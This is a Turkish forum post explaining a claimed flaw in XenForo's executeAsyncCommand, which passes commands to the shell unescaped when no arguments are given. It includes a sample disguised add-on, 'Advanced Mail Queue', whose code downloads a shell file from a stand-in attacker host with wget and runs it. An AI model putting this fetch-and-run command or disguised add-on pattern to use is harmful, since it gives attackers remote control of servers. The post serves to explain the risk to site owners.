Öncelikle admin yetkisi gerektirir XenForo'nun arka plan işleri için kullandığı bir fonksiyonda küçük ama kritik bir açık var. Anlatmaya çalışayım, belki sitenizde kontrol etmek istersiniz
---
Önce Temel Bilgi: XenForo Arka Plan İşleri Nasıl Çalışır?
XenForo'da bazı işlemler (mail gönderme, arama indeksleme vb.) hemen yapılmaz. Kuyruğa atılır, sonra `job.php` çalıştırır. Linux sunucularda bu işlemler için `nohup` komutu kullanılıyor.
Örnek:
```
nohup php /home/ornek.com/public_html/cmd.php > /dev/null 2>&1 &
```
Bu komut, `cmd.php` dosyasını arka planda çalıştırır ve çıktıyı çöpe atar.
---
Sorun Ne?
`src/XF/Util/Exec.php` dosyasındaki `executeAsyncCommand` fonksiyonuna bakalım:
```php
public static function executeAsyncCommand($command, ...$args)
{
if ($args) {
$command = vsprintf($command, array_map('escapeshellarg', $args));
}
// Eğer $args boşsa, $command olduğu gibi kalır!
exec("nohup $command > /dev/null 2>&1 &");
}
```
Gördüğünüz gibi, eğer fonksiyon ikinci parametre olmadan çağrılırsa (`$args` boşsa), `$command` değişkeni hiç kontrol edilmeden doğrudan shell komutuna ekleniyor.
---
Gerçek Senaryo: örnek.com Üzerinden
Diyelim ki `örnek.com` forumunuz var. Bir saldırgan (admin hesabına erişerek) şöyle bir eklenti yükledi:
Eklenti adı: "Advanced Mail Queue" (masum görünümlü)
Eklenti içindeki zararlı kod:
```php
// Dosya: src/addons/MailQueue/Service/Mailer.php
public function sendBulkEmails()
{
// Normalde mail gönderme işi yapıyormuş gibi görünür
$evilCommand = "wget http://saldiri-sunucusu.com/shell.txt -O /tmp/shell.php && php /tmp/shell.php";
// Burada kritik nokta: ikinci parametre yok!
\XF\Util\Exec::executeAsyncCommand($evilCommand);
}
```
Ne oluyor sunucuda?
```
1. Eklenti çalıştırılır
2. Exec.php'ye şu komut gider: "wget http://saldiri-sunucusu.com/shell.txt -O /tmp/shell.php && php /tmp/shell.php"
3. $args boş olduğu için escapeshellarg ÇALIŞMAZ
4. Sunucuda şu komut çalışır:
nohup wget http://saldiri-sunucusu.com/shell.txt -O /tmp/shell.php && php /tmp/shell.php > /dev/null 2>&1 &
```
Sonuç: Saldırganın shell.txt dosyası indirilir ve çalıştırılır. Artık saldırgan sunucunuza uzaktan erişebilir.
---
Bu içeriği görmek için giriş yapın.
Son düzenleme: